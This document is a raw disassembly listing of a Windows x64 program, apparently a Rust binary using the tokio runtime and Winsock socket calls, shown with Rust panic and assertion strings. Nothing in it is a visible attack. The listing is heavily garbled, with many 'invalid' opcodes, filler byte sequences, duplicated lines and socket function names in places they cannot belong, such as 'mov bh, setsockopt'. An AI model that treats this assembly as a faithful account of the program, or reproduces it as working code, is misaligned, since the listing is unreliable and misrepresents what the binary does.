test byte [rax + rcx*4], ah
mov byte [rcx], al
add byte [rax], al
mov rcx, qword [rsp + 0x190]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x228], reloc.WS2_32.dll_setsockopt
mov rax, qword [rsp + 0x178]
mov rcx, qword [rsp + 0x180]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x228], setsockopt
mov rax, qword [rsp + 0x168]
mov rcx, qword [rsp + 0x170]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x228], reloc.WS2_32.dll_send
mov rax, qword [rsp + 0x158]
mov rcx, qword [rsp + 0x160]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x228], setsockopt
mov rax, qword [rsp + 0x148]
mov rcx, qword [rsp + 0x150]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x228], setsockopt
mov rax, qword [rsp + 0x138]
mov rcx, qword [rsp + 0x140]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x228], reloc.WS2_32.dll_recv
mov rax, qword [rsp + 0x128]
mov rcx, qword [rsp + 0x130]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x228], recv
mov rax, qword [rsp + 0x118]
mov rcx, qword [rsp + 0x120]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x228], recv
mov rax, qword [rsp + 0x108]
mov rcx, qword [rsp + 0x110]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x228], recv
mov rax, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0x100]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x228], recv
mov rax, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0xf0]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x228], recv
mov rax, qword [rsp + 0xd8]
mov rcx, qword [rsp + 0xe0]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x228], 0xa
mov rax, qword [rsp + 0xc8]
mov rcx, qword [rsp + 0xd0]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x228], 9
mov rax, qword [rsp + 0xb8]
mov rcx, qword [rsp + 0xc0]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x228], 8
mov rax, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0xb0]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x228], 7
mov rax, qword [rsp + 0x98]
mov rcx, qword [rsp + 0xa0]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x228], 6
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x90]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x228], 5
mov rax, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x80]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x228], 4
mov rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x70]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x228], 3
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x58
mov rcx, qword [rsp + 0x60]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x228], 2
add byte [rax - 0x75], cl
and al, 0x48
mov rcx, qword [rsp + 0x50]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x228], 1
test byte [rax + rbp], ah
add al, byte [rax]
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x38
mov rcx, qword [rsp + 0x40]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x228], 0
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x28
mov rcx, qword [rsp + 0x30]
call qword [rax + ioctlsocket]
mov rcx, rsi
call r12
mov rax, qword [0x1402153f0]
test rax, rbx
jne 0x1401448ac
xor eax, eax
movzx ecx, byte [rsi + 8]
xor r13d, r13d
jmp 0x1401443b0
call fcn.1401666c0
xor al, 1
jmp 0x1401448a0
call fcn.1401666c0
test al, al
jne 0x1401444bd
mov byte [rsi + 8], 1
jmp 0x1401444bd
test al, 1
jne 0x1401448db
mov rax, qword [0x1402153f0]
test rax, rbx
jne 0x140144937
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
test r13, r13
je 0x14014491c
lea rsi, [r13 - 1]
shl r13, 4
lea rdi, [rsp + r13]
add rdi, 0x20
nop dword [rax]
mov qword [rsp + 0x228], rsi
mov rax, qword [rdi - 8]
mov rcx, qword [rdi]
call qword [rax + ioctlsocket]
add rdi, 0xfffffffffffffff0
add rsi, 0xffffffffffffffff
jb 0x140144900
movaps xmm6, xmmword [rsp + 0x230]
add rsp, 0x240
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
call fcn.1401666c0
test al, al
jne 0x1401448db
mov byte [rsi + 8], 1
jmp 0x1401448db
lea r8, [0x1401dec28]
mov edx, 0x20
call fcn.140160ed0
ud2
lea rcx, str.assertion_failed:_self.curr___NUM_WAKERS
lea r8, [0x1401dec70]
mov edx, 0x29
call fcn.140160fb0
ud2
invalid
add byte [rax - 0x7f7f7f80], 0x80
and byte [rsi + 0xf], 0x1f
add byte [rax], r8b
dec dword [rax - 0x77]
shr eax, 0x80
cmp esi, 0xff48f0ff
add byte [rbx + rcx*4 + 0x65], cl
fmul dword [rdi]
invalid
mov dword [rbp - 0x38], eax
add dword [0x14d9f9a5c], ecx
add byte [rcx], al
add dword [0x109999a63], ecx
add dword [0x109999a63], ecx
add byte [rbx + 0xd011a05], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov al, 0x48
add ecx, eax
mov ecx, dword [rdx - 0x18]
test rcx, rcx
je 0x1401461a9
mov eax, dword [rbp + 0xb8]
mov qword [rsp + 0x80], rax
movups xmm0, xmmword [r13 + 0xa8]
adc byte [rbp + 0xa8], al
adc byte [rbp + 0xa8], al
movaps xmmword [rsp + 0x70], xmm0
mov qword [r13 + 0xa8], rcx
movaps xmm0, xmmword [rsp + 0xb0]
movups xmmword [r13 + 0xb0], xmm0
add byte [rax], al
add byte [rax], al
mov rsi, qword [rsp + 0x30]
test rsi, rsi
je 0x140146218
je 0x14014639b
mov rcx, qword [rsp + 0xa0]
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1401463b1
call fcn.1401439e0
jmp 0x1401463b1
mov rcx, qword [rsp + 0xa0]
mov ecx, dword [rsp + 0xa0]
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1401463b1
call fcn.1401438f0
nop
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
invalid
or dword [rax], eax
mov rcx, rsi
call fcn.140160e20
ud2
and al, 0x78
add dword [rax], eax
add byte [rax], al
lea rax, [0x140204680]
mov qword [rsp + 0x80], rax
and al, 0x80
add byte [rax], al
add byte [rsi + 0xf], ah
out dx, eax
sal bl, 0xf
jg 0x14014647d
and al, 0x88
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x9a823
lea rcx, [rsp + 0x70]
call fcn.140160e20
test eax, 0xb0f0001
and al, 0x80
add byte [rax], al
add byte [rsi + 0xf], ah
out dx, eax
sal bl, 0xf
jg 0x14014647d
test eax, 0xb0f0001
int3
add byte [rax - 0x73], cl
add eax, 0xbdfc7
mov qword [rsp + 0x38], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_runtimecontextcurrent.rs
add byte [rax - 0x73], cl
and al, 0x28
add byte [rax - 0x73], cl
and al, 0x28
call fcn.140160e20
ud2
int3
add byte [rbp + rcx*4 + 5], cl
pop rdi
jge 0x1401467a1
int3
mov rdi, qword [rcx + 0x10]
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
cmp eax, 1
invalid
je 0x140146814
add dword [rbp + rsi - 0x7b], esi
ror byte [rdi], 0x85
jmp fcn.1401467e6
lea eax, [0x140204680]
mov qword [rsp + 0x38], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_runtimecontextcurrent.rs
lea rcx, [rsp + 0x28]
lea ecx, [rsp + 0x28]
lea ecx, [rsp + 0x28]
call fcn.140160e20
ud2
or dword [rax], eax
mov qword [rsp + 0x20], rax
lea rcx, str.already_borrowed8
lea r9, [0x1401de7f8]
lea r8, [rsp + 0x28]
mov edx, reloc.WS2_32.dll_recv
call fcn.140161200
xor byte [rax + 0xb0f0001], ch
xor byte [rax + 0xb0f0001], ch
lea rax, [0x1401deba8]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_src_threadlocal.rs
lea r9, [0x1401de7d8]
lea r8, [rsp + 0x28]
mov edx, 0x46
call fcn.140161200
ud2
mov byte [rbp + 8], bh
jne 0x1401472a2
or al, 0
mov word [rcx], cs
add byte [rdi], cl
adc dword [rax + 0x20], eax
movups xmm0, xmmword [0x1401dff20]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [str.A_Tokio_1.x_context_was_found__but_it_is_being_shutdown._mark_pending_called_when_the_timer_entry_is_in_an_invalid_stateI]
add eax, 0x98c23
movups xmmword [rax], xmm0
add byte [rax], al
add byte [rcx], dh
sar bh, cl
adc eax, 0x20d00
test rax, rax
je 0x14014747a
mov r14, rax
mov qword [rax], rdi
mov qword [rax + 8], 0x38
mov dword [rax + 8], 0x38
mov dword [rax + 8], 0x38
mov qword [rax + 0x10], 0x38
movzx eax, byte [0x1402153f8]
mov dh, 5
invalid
loopne 0x140147369
add byte [rax - 0x75], cl
or eax, 0xcdffb
test rcx, rcx
jne 0x140147383
mov dh, 5
invalid
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14014748b
invalid
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 5
fstp st(7)
or al, 0
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14014748b
mov qword [rax], r14
lea rcx, fcn.140022090
jp 0x1401473ac
add byte [rax - 0x77], cl
or sil, al
adc byte [rdi], spl
inc rax
mov qword [r13], rax
mov byte [r13 + 9], 2
test sil, sil
je 0x14014742d
invalid
mov ecx, 8
mov edx, 0x18
call fcn.14015d7f0
ud2
mov qword [rbp - 0x10], r14
mov eax, 4
add rsp, 0x48
pop rbx
pop rsi
jmp rax
ret
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x58
mov rdi, r8
mov rbx, rdx
mov r14, qword [rcx + 0x10]
jno 0x14014760a
mov r15, qword [rcx + 0x18]
cmp r15, 0xffffffffffffffff
je 0x140147817
lar eax, word [rax]
invalid
lar eax, word [rax]
add byte [rbx + rcx*4 + 0x61], cl
mov r12, qword [rcx + 0x20]
mov qword [rsp + 0x20], rbx
mov r12, qword [rcx + 0x20]
mov qword [rsp + 0x20], rbx
jmp fcn.140147647
and al, 0x31
leave
adc eax, 0x20c79
stosb byte [rdi], al
add dword [rax], eax
add byte [rax - 0x77], cl
invalid
lea rcx, [rsp + 0x28]
mov rdx, r14
mov r8, rbx
xor r9d, r9d
call case.0x1401327c8.502
movzx eax, byte [rsp + 0x31]
cmp al, 3
jne 0x14014783a
cmp al, 2
jne 0x1401478f7
mov r13, qword [rsp + 0x28]
jmp 0x140147887
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
xlatb
cdq
add dword [rax], eax
sub byte [rax - 0x39], cl
and al, 0x30
add dword [rax], eax
add byte [rax], al
int 0xb
add byte [rax - 0x77], cl
and al, 0x38
mov rdx, qword [rdi + 8]
mov rbp, qword [rdi + 0x10]
cmp rbp, rdx
jbe 0x140147915
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_srciopoll_evented.rs
mov edx, 0x2b
call fcn.140160fb0
ud2
mov qword [rsp + 0x20], rcx
mov rbx, qword [rdx + 0x10]
mov rax, qword [rdx + 0x18]
mov qword [rsp + 0x38], rax
and al, 0x38
and al, 0x38
cmp rax, 0xffffffffffffffff
je 0x140147b51
mov rax, qword [rsp + 0xb0]
cmp rax, 0x7fffffff
mov r12d, 0x7fffffff
cmovb r12, rax
mov r13, qword [rdx + 0x20]
jmp fcn.1401479b7
lea rcx, [rsp + 0x28]
mov rdx, rbx
mov r8, r15
mov r9b, 1
call case.0x1401327c8.502
movzx eax, byte [rsp + 0x31]
cmp al, 3
jne 0x140147b7b
cmp al, 2
jne 0x140147bcf
mov rsi, qword [rsp + 0x28]
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_srciopoll_evented.rs
mov edx, 0x2b
call fcn.140160fb0
ud2
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
je 0x140148515
call fcn.1401666c0
test al, al
jne 0x140148515
mov byte [rsi + 0x10], 1
jmp 0x140148515
mov qword [rsi + 0x20], 0
mov qword [rbx + 8], 0
test al, al
invalid
je case.0x140133f08.490
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
mov rax, rbx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
imul rcx, rcx, 0x431bde83
shr rcx, 0x32
xor r8d, r8d
cmp edx, 0x3b9aca00
cmove rax, r8
cmove ecx, r8d
mov edx, 0x3e8
mul rdx
mul edx
mul edx
add rcx, rax
adc rdx, 0
mov rax, 0xfffffffffffffffd
cmove rax, rcx
cmove eax, ecx
cmove eax, ecx
sub r13, rax
cmovb r13, r8
mov rax, r13
shr rax, 3
movabs rcx, 0x20c49ba5e353f7cf
mul rcx
mov r8, rdx
shr r8, 4
imul ecx, r8d, 0x3e8
mov eax, r13d
sub eax, ecx
cmp r13, 0x3e7
ja 0x14014884e
or ecx, dword [rax - 0x7d]
rcl dword [rax], 0xe8
stc
stc
stc
invalid
invalid
add dh, byte [rbp + 0x46]
mov rcx, qword [rbx]
add rcx, 0x10
mov rdx, r8
mov r8d, r9d
call fcn.140149160
jmp fcn.140148900
add al, ch
push rcx
je 0x140149a7f
mov dh, 0x64
or dword [rax], eax
adc dword [rsp + 0x90], eax
cmp byte [rax - 0x7b], cl
sal byte [rax + rdi*2 - 0x4d], 1
test cl, cl
jne 0x140149ce9
mov rsi, qword [rsp + 0x30]
cmp rax, 1
jne 0x140149ca9
cmp byte [rsp + 0x39], 0
je 0x140149ca9
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1401dff48]
mov r8d, 1
call qword [rax + 0x18]
mov ebx, eax
jmp 0x140149ce9
loopne 0x140149c71
retf
test bl, bl
setne al
add rsp, 0x48
pop rbx
pop rsi
ret
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x14014abef
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x14014ac32
ret
or eax, 0x969d6
lea r9, [0x1401de818]
lea r8, [rsp + 0x28]
mov edx, 0x28
call fcn.140161200
ud2
cmp qword [rcx], 0
je 0x14014ac99
jmp qword [sym.imp.KERNEL32.dll_WakeAllConditionVariable]
jne 0x14014b996
cmp byte [r15 + 0x48], 0
je 0x14014b996
mov rax, qword [r15]
mov qword [r15], 0
test rax, rax
je 0x14014b9e4
lea rbx, [r15 + 0x18]
mov r12, qword [r15 + 0x18]
nop dword [rax]
mov rcx, qword [r12 + 0x18]
mov r8, rcx
shr r8, 0x20
mov r12, qword [rbx]
mov r9d, dword [r12 + 0x20]
mov edx, r9d
sub edx, r8d
cmp edx, 0x100
jb 0x14014ba10
cmp r8d, ecx
jne 0x14014ba27
mov qword [rsp + 0x20], rsi
mov rcx, rbx
mov rdx, rax
call fcn.14014b2c0
test rax, rax
jne 0x14014b940
jmp 0x14014ba32
lea rbx, [r15 + 0x18]
mov r12, qword [r15 + 0x18]
nop
mov rax, qword [r12 + 0x18]
mov r8, rax
shr r8, 0x20
mov r12, qword [rbx]
mov r9d, dword [r12 + 0x20]
mov ecx, r9d
sub ecx, r8d
cmp ecx, 0x100
jb 0x14014b9ec
cmp r8d, eax
jne 0x14014ba03
mov qword [rsp + 0x20], rsi
mov rcx, rbx
mov rdx, rdi
call fcn.14014b2c0
mov rdi, rax
test rax, rax
jne 0x14014b9a0
jmp 0x14014ba67
mov qword [r15], rdi
jmp 0x14014baa8
movzx eax, r9b
mov rcx, qword [r12 + 0x10]
mov qword [rcx + rax*8], rdi
inc r9d
mov dword [r12 + 0x20], r9d
jmp 0x14014ba67
mov rcx, rsi
mov rdx, rdi
call fcn.14014b570
jmp 0x14014ba67
movzx ecx, r9b
mov rdx, qword [r12 + 0x10]
push rsp
and al, 0x10
push rsp
and al, 0x10
mov qword [rdx + rcx*8], rax
inc r9d
mov dword [r12 + 0x20], r9d
jmp 0x14014ba32
mov rcx, rsi
mov rdx, rax
call fcn.14014b570
mov rcx, qword [r15]
test rcx, rcx
je 0x14014ba64
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x14014baf4
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14014ba64
mov rcx, qword [r15]
mov rax, qword [rcx + 0x10]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [r15], rdi
cmp qword [r15 + 8], 0
je 0x14014baa8
lea rcx, [rsi + 0xb0]
mov rdx, rsi
call fcn.14014af20
cmp rax, 1
jne 0x14014baa8
mov rax, qword [rsi + 0x58]
cmp rdx, rax
jae 0x14014bace
mov rax, qword [rsi + 0x50]
shl rdx, 4
add rsi, 0x128
mov rcx, qword [rax + rdx + 8]
mov rdx, rsi
call fcn.14014b040
inc qword [r14 + 0x10]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
mov ecx, edx
mov rdx, rax
call fcn.140160ed0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_runtime_schedulermulti_threadworker.rs
mov rcx, rdx
mov rdx, rax
call fcn.140160ed0
ud2
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401e0ae8]
add byte [rbp + rcx*4 + 5], cl
out 0x4f, al
or dword [rax], eax
mov edx, 0x27
call fcn.140160fb0
ud2
lea ecx, [0x1401de7d8]
lea r8, [rsp + 0x37]
mov edx, 0x46
call fcn.140161200
mov ch, 0x56
add dword [rax], eax
mov ch, 0x56
add dword [rax], eax
ud2
lea ecx, str.already_borrowed8
lea r9, [0x1401de7f8]
lea r8, [rsp + 0x37]
mov edx, reloc.WS2_32.dll_recv
call fcn.140161200
ud2
or al, 0x48
mov ecx, edi
call fcn.14009cb60
mov rdx, qword [rdi + 0x10]
mov rax, qword [rdi]
mov qword [rax + rdx*8], rbx
inc rdx
mov qword [rdi + 0x10], rdx
mov qword [rsi], rdx
cmp rdx, 0x10
adc byte [rdi], cl
xchg esp, eax
ror byte [rax - 0x7d], 0xc4
and byte [rbx + 0x5f], bl
adc byte [rdi], cl
xchg esp, eax
ror byte [rax - 0x7d], 0xc4
and byte [rbx + 0x5f], bl
pop rsi
ret
push rbx
sub rsp, 0x28
mov rdi, rcx
mov rax, qword [rcx + 8]
cmp qword [rcx], 0
mov edx, 0xc0
add byte [rax], al
add byte [rcx + 0x128], bh
add byte [rax], al
add byte [rcx + 0x128], bh
cmove rcx, rdx
cmp dword [rax + rcx + 0xd0], 0x3b9aca00
add byte [rax], al
retf 0x3b9a
je 0x14014bd01
add byte [rax], al
retf 0x3b9a
lea r14, [rax + rcx]
add r14, 0x10
lea rsi, [r14 + 0x60]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x14014bccf
xor ebx, ebx
movzx eax, byte [r14 + 0x68]
mov rax, qword [rdi + 0x40]
cmp rax, 0xffffffffffffffff
je 0x14014bc49
lea rdx, [rdi + 0x20]
lea rcx, [r14 + 0x70]
call fcn.14014bd20
mov rax, qword [rdi + 0x40]
cmp rax, 0xffffffffffffffff
je 0x14014bca2
mov byte [rdi + 0x60], 0
mov qword [rdi + 0x40], 0xffffffffffffffff
invalid
invalid
invalid
invalid
invalid
dec dword [rax - 0x75]
pop r8
nop word cs:[rax + rax]
invalid
invalid
add byte [rax - 0x77], cl
ror dword [rax - 0x7d], 0xc9
add dh, al
cmpxchg qword [rdi + 0x58], rcx
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rdi + 0x58], rcx
jne 0x14014bc70
test rax, rax
jne 0x14014bca2
mov rax, qword [rdi + 0x48]
mov rcx, qword [rdi + 0x50]
mov qword [rdi + 0x48], 0
lock and qword [rdi + 0x58], 0xfffffffffffffffd
test rax, rax
je 0x14014bca2
invalid
call qword [rax + 0x18]
test bl, bl
jne 0x14014bcbc
movabs rax, 0x7fffffffffffffff
mov rcx, qword [0x1402153f0]
test rcx, rax
jne 0x14014bcf1
mov rcx, rsi
add rsp, 0x28
invalid
sub byte [rbx + 0x5f], bl
pop rsi
pop r14
jmp qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
invalid
call fcn.1401666c0
mov ebx, eax
xor bl, 1
movzx eax, byte [r14 + 0x68]
mov rax, qword [rdi + 0x40]
cmp rax, 0xffffffffffffffff
jne 0x14014bc3c
jmp 0x14014bc49
call fcn.1401666c0
test al, al
jne 0x14014bcbc
mov byte [r14 + 0x68], 1
jmp 0x14014bcbc
lea rcx, [0x1401df508]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_runtime_timeentry.rs
mov edx, reloc.WS2_32.dll_WSAStartup
call fcn.140161290
ud2
cmp qword [rcx + 0x28], rdx
jne case.0x14005f6a2.3654
add rcx, 0x28
mov rax, rcx
jmp 0x14014be0d
test eax, eax
je 0x14014bddc
mov rcx, qword [rdx]
mov qword [rax], rcx
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
jmp case.0x14005f6a2.3654
add rsp, 0x28
pop rdi
pop rsi
ret
add byte [rdi], cl
or ecx, esp
int3
and al, 0x28
lea rax, [0x140146c90]
mov qword [rsp + 0x30], rax
lea rax, str.JoinError::Panic___..._
jmp 0x14014bed0
int3
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 2
mov qword [rsp + 0x58], 0
and al, 0x58
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x28]
and al, 0x28
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rdx
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x38
and byte [rax - 0x75], cl
push rdx
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x38
call fcn.140059e20
nop
add rsp, 0x68
ret
pop rsp
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x30
lea rax, str.task__was_cancelled
add eax, 0x945e0
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 2
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x38]
call fcn.140059e20
nop
add rsp, 0x68
ret
invalid
mov rax, rcx
mul r10
shr rdx, 0xb
imul eax, edx, 0x2710
mov esi, ecx
sub esi, eax
imul edi, esi, 0x147b
shr edi, 0x13
imul eax, edi, 0x64
sub esi, eax
movzx esi, si
lea rax, [r11 - 4]
movzx edi, word [r8 + rdi*2]
mov word [rsp + r11 + 0x2d], di
mov dword [rsp + rbx + 0x2d], edi
mov dword [rsp + rbx + 0x2d], edi
movzx esi, word [r8 + rsi*2]
mov word [rsp + r11 + 0x2f], si
mov r11, rax
cmp rcx, 0x5f5e0ff
jmp rax
cmc
add eax, 0x77d18948
invalid
jmp rax
cmp rdx, 0x63
jbe 0x14014c06e
movzx ecx, dx
shr ecx, 2
imul ecx, ecx, 0x147b
shr ecx, 0x11
imul r10d, ecx, 0x64
sub edx, r10d
movzx edx, dx
movzx edx, word [r8 + rdx*2]
mov bh, setsockopt
push rax
mov bh, setsockopt
push rax
mov word [rsp + rax + 0x2f], dx
add rax, 0xfffffffffffffffe
mov rdx, rcx
cmp rdx, 0xa
jae 0x14014c08b
add dl, 0x30
mov byte [rsp + rax + 0x30], dl
dec rax
jmp 0x14014c099
movzx ecx, word [r8 + rdx*2]
mov word [rsp + rax + 0x2f], cx
mov dword [rsp + rax + 0x2f], ecx
add rax, 0xfffffffffffffffe
lea rcx, [rsp + rax]
add rcx, 0x31
mov edx, 0x27
sub rdx, rax
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rcx
and al, 0x20
and al, 0x20
lea r8, [0x140204680]
mov rcx, r9
mov dl, 1
xor r9d, r9d
call fcn.140059040
nop
add rsp, 0x58
invalid
pop rax
pop rdi
pop rsi
ret
invalid
test rax, rax
js 0x14014c1f6
add byte [rax], al
invalid
mov rcx, rax
or rcx, 4
add rcx, 0x40
mov edx, 1
nop word cs:[rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add al, dh
cmpxchg qword [rsi], rcx
lock cmpxchg qword [rsi], rcx
je 0x14014c17b
test al, 1
jne 0x14014c160
test al, 6
je 0x14014c10d
cmp rax, 0x3f
jbe 0x14014c1c2
lea rcx, [rax - 0x40]
xor edx, edx
cmp rcx, 0x40
setb dl
add rdx, rdx
jmp 0x14014c130
mov rcx, rax
or rcx, 4
cmp rcx, 0x3f
ror dword [rax - 0x7d], 0xc9
add al, 0x48
cmp ecx, 0x3f
jbe 0x14014c1c2
push rbp
add rcx, 0xffffffffffffffc0
cmp rcx, 0x40
cmp ecx, 0x40
jb 0x14014c1dc
xor edx, edx
xor edx, edx
jmp 0x14014c130
test rdx, rdx
je 0x14014c1bb
cmp edx, 1
jne 0x14014c1ab
mov rax, qword [rsi + 0x10]
mov rcx, rsi
mov ecx, esi
mov ecx, esi
call qword [rax + ioctlsocket]
mov rax, 0xffffffffffffffc0
invalid
push rax
xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x14014c210
invalid
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14014c1bb
mov rax, qword [rsi + 0x10]
mov rcx, rsi
add rsp, 0x20
pop rsi
jmp qword [rax + reloc.WS2_32.dll_recv]
nop
add rsp, 0x20
pop rsi
ret
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x1401e0bb0]
mov edx, 0x26
call fcn.140160fb0
add dword [rax], eax
ud2
lea rcx, str.assertion_failed:_snapshot.ref_count_____0
lea r8, [0x1401e09a0]
mov edx, 0x2a
call fcn.140160fb0
ud2
lea rcx, str.assertion_failed:_self.0___isize::MAX_as_usize
lea r8, [0x1401e0b70]
mov edx, 0x2f
call fcn.140160fb0
ud2
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401e0ae8]
mov edx, 0x27
call fcn.140160fb0
ud2
jmp 0x14014c24e
mov rdx, rax
or rdx, 4
lock cmpxchg qword [rcx], rdx
je 0x14014c279
test al, 6
jne 0x14014c279
test al, 1
jne 0x14014c240
test rax, rax
js 0x14014c27f
mov rdx, rax
or rdx, 4
or edx, 4
add rdx, 0x40
lock cmpxchg qword [rcx], rdx
jne 0x14014c24e
mov rax, qword [rcx + 0x10]
add rsp, 0x28
jmp qword [rax + ioctlsocket]
nop
add rsp, 0x28
ret
lea rcx, str.assertion_failed:_self.0___isize::MAX_as_usize
lea r8, [0x1401e0b70]
mov edx, 0x2f
call fcn.140160fb0
ud2
lea rdx, [0x1401438a0]
call fcn.14012dc40
mov byte [r15 + 0xe0], 1
mov eax, dword [0x1402153fc]
add eax, 0xc9090
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx ebp, byte [rax + 0xdc]
fadd qword [rax]
add byte [rax], al
fadd qword [rax]
add byte [rax], al
movzx r15d, byte [rax + 0xdd]
mov eax, r15d
test bpl, bpl
je 0x14014c39d
test r15b, r15b
test bh, bh
je 0x14014c509
lea eax, [r15 - 1]
mov ecx, dword [0x1402153fc]
mov rdx, qword gs:[0x58]
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
mov byte [rcx + 0xdd], al
mov rax, qword [r14 + 0x30]
test al, 2
invalid
je 0x14014c3d4
add dh, byte [rsi + rdx - 0x17]
jmp 0x14014c51d
pop rdx
add dword [rax], eax
add byte [rcx], dh
in eax, dx
xor r15d, r15d
mov rax, qword [r14 + 0x30]
test al, 2
jne 0x14014c51d
add byte [rax], al
xor byte [rax + 0x49850f02], r13b
add dword [rax], eax
add byte [rax], al
mov bl, 1
test al, 4
jne 0x14014c54c
add byte [rax], al
mov bl, 1
test al, 4
jne 0x14014c54c
test al, 1
je 0x14014c452
invalid
jo 0x14014c42b
mov rcx, qword [rdi]
mov ecx, dword [rdi]
mov rax, qword [rcx + 8]
cmp rax, qword [r14 + 0x28]
cmp eax, dword [rsi + 0x28]
or byte [r9 + 0x3b], cl
sub byte [rbp + 0x39], r14b
jne 0x14014c428
mov rax, qword [r14 + 0x20]
